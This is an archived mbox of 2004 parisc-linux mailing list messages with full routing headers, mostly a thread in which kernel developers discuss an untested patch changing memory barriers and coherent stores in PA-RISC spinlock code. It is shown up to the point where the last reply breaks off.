	PA-RISC, Sparc & Sparc64
Date: Tue, 31 Aug 2004 18:00:15 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1093971614.599.20.camel__43122.3073778257$1416624471$gmane$org@localhost.localdomain>
References: <20040830232445.0b5aad79.akpm@osdl.org>
	<13071.1093965134@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624471 25702 80.91.229.3 (22 Nov 2014 02:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:51 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-mips@linux-mips.org,
 sparclinux@vger.kernel.org,
 rth@twiddle.net,
 Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
 HPPA List <parisc-linux@parisc-linux.org>
To: David Howells <dhowells@redhat.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11895 invoked by uid 65534); 31 Aug 2004 18:02:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 31 Aug 2004 20:02:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 076693BE25; Tue, 31 Aug 2004 12:02:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13477-08; Tue, 31 Aug 2004 12:02:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BCB483BE77; Tue, 31 Aug 2004 12:02:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA56B3BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:02:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13466-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:02:31 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 949BE3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:02:31 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 28FC2494774; Tue, 31 Aug 2004 12:02:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.localdomain (the-village.bc.nu [81.2.110.252])
	by palinux.hppa (Postfix) with ESMTP id 2DB71494750
	for <parisc-linux@parisc-linux.org>;
	Tue, 31 Aug 2004 12:02:30 -0600 (MDT)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by localhost.localdomain (8.12.11/8.12.11) with ESMTP id i7VH0KAa000769;
	Tue, 31 Aug 2004 18:00:20 +0100
Original-Received: (from alan@localhost)
	by localhost.localdomain (8.12.11/8.12.11/Submit) id i7VH0IXj000768;
	Tue, 31 Aug 2004 18:00:18 +0100
X-Authentication-Warning: localhost.localdomain: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <13071.1093965134@redhat.com>
X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: alan@lxorguk.ukuu.org.uk)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24902

On Maw, 2004-08-31 at 16:12, David Howells wrote:
> The attached patch adds the new error codes I added for key-related errors to
> those archs that don't make use of <asm-generic/errno.h>, including Alpha,
> MIPS, PA-RISC, Sparc and Sparc64. This is required to compile with CONFIG_KEYS
> on those platforms.

The patch seems to be mixing the fixups for remapping these error codes
into sparc, hpux, osf/1 and other compatibility layers on the platforms

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] coherent ops and mb() revisited
Date: Sat, 4 Sep 2004 19:38:44 -0600
Lines: 82
Approved: news@gmane.org
Message-ID: <20040905013844.GC23842@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624472 25706 80.91.229.3 (22 Nov 2014 02:47:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17013 invoked by uid 65534); 5 Sep 2004 01:39:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 05 Sep 2004 03:39:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DBCAD3BE34; Sat,  4 Sep 2004 19:39:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03906-06; Sat, 4 Sep 2004 19:39:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 659F63BE23; Sat,  4 Sep 2004 19:38:55 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 228B93BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Sep 2004 19:38:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03906-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Sep 2004 19:38:49 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9639C3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Sep 2004 19:38:48 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id E3A41494772; Sat,  4 Sep 2004 19:38:47 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 544C44946C1
	for <parisc-linux@parisc-linux.org>;
	Sat,  4 Sep 2004 19:38:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D6D03298129
	for <parisc-linux@parisc-linux.org>;
	Sat,  4 Sep 2004 19:38:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24403-04 for <parisc-linux@parisc-linux.org>;
	Sat, 4 Sep 2004 19:38:45 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 094CE29811F; Sat,  4 Sep 2004 19:38:44 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24903

Hi all,
I haven't tested the following patch and just wanted to get
feedback if it is "the right thing" or not.

John Marvin was clear in previous discussion we don't need
to use coherent stores but I've heard we should follow the
arch anyway so it doesn't bite us later. I find it highly
unlikely but see no harm in "doing it right".

The second bit is if adding "memory" reference in the ldcw
and _raw_spin_unlock() could replace the mb() instructions
which James Bottomley added to prevent gcc from re-ordering
instructions outside the critical section.

opinions?

thanks,
grant


Index: include/asm-parisc/spinlock.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/spinlock.h,v
retrieving revision 1.6
diff -u -p -r1.6 spinlock.h
--- include/asm-parisc/spinlock.h	15 Aug 2004 14:17:39 -0000	1.6
+++ include/asm-parisc/spinlock.h	5 Sep 2004 00:58:42 -0000
@@ -29,20 +29,26 @@ static inline void _raw_spin_lock(spinlo
 {
 	volatile unsigned int *a;
 
-	mb();
 	a = __ldcw_align(x);
 	while (__ldcw(a) == 0)
 		while (*a == 0);
-	mb();
 }
 
 static inline void _raw_spin_unlock(spinlock_t *x)
 {
 	volatile unsigned int *a;
-	mb();
+	register unsigned tmp=1;
+
 	a = __ldcw_align(x);
-	*a = 1;
-	mb();
+	/* use a coherent store. PA1.1 is always strongly ordered.
+	 * Even though no PA2.0 implementation is weakly ordered,
+	 * jda would prefer we use coherent stores (",ma" with zero offset
+	 * is the same thing but PA1.1 compatible).
+	 * Key here is "memory" - prevent gcc from re-ordering memory
+	 * accesses below releasing the lock.
+	 */
+	__asm__ __volatile__ ("stw,ma %1,0(%0)"
+			: : "r" (a), "r" (tmp) : "memory");
 }
 
 static inline int _raw_spin_trylock(spinlock_t *x)
Index: include/asm-parisc/system.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/system.h,v
retrieving revision 1.7
diff -u -p -r1.7 system.h
--- include/asm-parisc/system.h	18 Aug 2004 20:21:41 -0000	1.7
+++ include/asm-parisc/system.h	5 Sep 2004 00:58:42 -0000
@@ -141,7 +141,7 @@ static inline void set_eiem(unsigned lon
 /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
 #define __ldcw(a) ({ \
 	unsigned __ret; \
-	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a) : "memory"); \
 	__ret; \
 })
 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: 04 Sep 2004 22:56:30 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <1094352991.1924.12.camel@mulgrave>
References: <20040905013844.GC23842@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624472 25710 80.91.229.3 (22 Nov 2014 02:47:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23065 invoked by uid 65534); 5 Sep 2004 02:57:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 05 Sep 2004 04:57:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6E0C03BE23; Sat,  4 Sep 2004 20:57:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04651-03; Sat, 4 Sep 2004 20:57:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3FD913BE24; Sat,  4 Sep 2004 20:56:43 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9234B3BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Sep 2004 20:56:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02769-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Sep 2004 20:56:37 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6BCA83BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Sep 2004 20:56:37 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id AB033494772; Sat,  4 Sep 2004 20:56:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP
	id 735DD4946C1; Sat,  4 Sep 2004 20:56:33 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i852uVJ22640; Sat, 4 Sep 2004 22:56:31 -0400
In-Reply-To: <20040905013844.GC23842@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24904

On Sat, 2004-09-04 at 21:38, Grant Grundler wrote:
> I haven't tested the following patch and just wanted to get
> feedback if it is "the right thing" or not.

It should work, but I don't think it's the right thing to do.

__ldcw already insists on operating on volatile data, which is the
correct thing to do.  Adding a memory barrier is probably harmless, but
it crimps any optimisations gcc might like to try with that function
(not that there really are any with such a simple loop).  Indeed, we
could even remove the __volatile__ from the asm.

I think the best implementation is probably

barrier();
a = __ldcw_align(x);
while (__ldcw(a) == 0)
	while(*a == 0)
		;
mb();

Which makes it totally clear what barriers we need where in the spinlock
(the first being simply a compiler ordering barrier and the second
actually a processor memory barrier).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: Sun, 5 Sep 2004 02:27:32 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
References: <1094352991.1924.12.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624472 25712 80.91.229.3 (22 Nov 2014 02:47:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17294 invoked by uid 65534); 5 Sep 2004 06:28:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 05 Sep 2004 08:28:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 39A883BE3A; Sun,  5 Sep 2004 00:28:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05766-05; Sun, 5 Sep 2004 00:28:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3AFBA3BE24; Sun,  5 Sep 2004 00:27:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E12E33BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 00:27:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05766-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Sep 2004 00:27:36 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AE4FD3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 00:27:36 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 016ED494780; Sun,  5 Sep 2004 00:27:36 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP
	id 22D0A4946C1; Sun,  5 Sep 2004 00:27:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i856RX45027616; Sun, 5 Sep 2004 02:27:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i856RWW3027615;
	Sun, 5 Sep 2004 02:27:32 -0400 (EDT)
In-Reply-To: <1094352991.1924.12.camel@mulgrave> from "James Bottomley" at Sep
	4, 2004 10:56:30 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24905

> I think the best implementation is probably
> 
> barrier();
> a = __ldcw_align(x);

I don't understand why you put the barrier before the __ldcw_align
operation.  The alignment operation is non-critical and could be done
much earlier if that's desireable from a scheduling standpoint.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: 05 Sep 2004 10:36:43 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <1094395005.1690.1.camel@mulgrave>
References: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624473 25717 80.91.229.3 (22 Nov 2014 02:47:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29343 invoked by uid 65534); 5 Sep 2004 14:37:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 05 Sep 2004 16:37:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 39AB03BE4B; Sun,  5 Sep 2004 08:37:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11916-09; Sun, 5 Sep 2004 08:37:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1EE973BE44; Sun,  5 Sep 2004 08:37:02 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50D793BE3E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 08:36:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11970-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Sep 2004 08:36:57 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 263B33BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 08:36:57 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 76A72494781; Sun,  5 Sep 2004 08:36:54 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP
	id 405C34946C1; Sun,  5 Sep 2004 08:36:53 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i85EajJ01428; Sun, 5 Sep 2004 10:36:45 -0400
In-Reply-To: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24906

On Sun, 2004-09-05 at 02:27, John David Anglin wrote:
> > I think the best implementation is probably
> > 
> > barrier();
> > a = __ldcw_align(x);
> 
> I don't understand why you put the barrier before the __ldcw_align
> operation.  The alignment operation is non-critical and could be done
> much earlier if that's desireable from a scheduling standpoint.

Actually, you're right.  I think all we need is the mb() after the
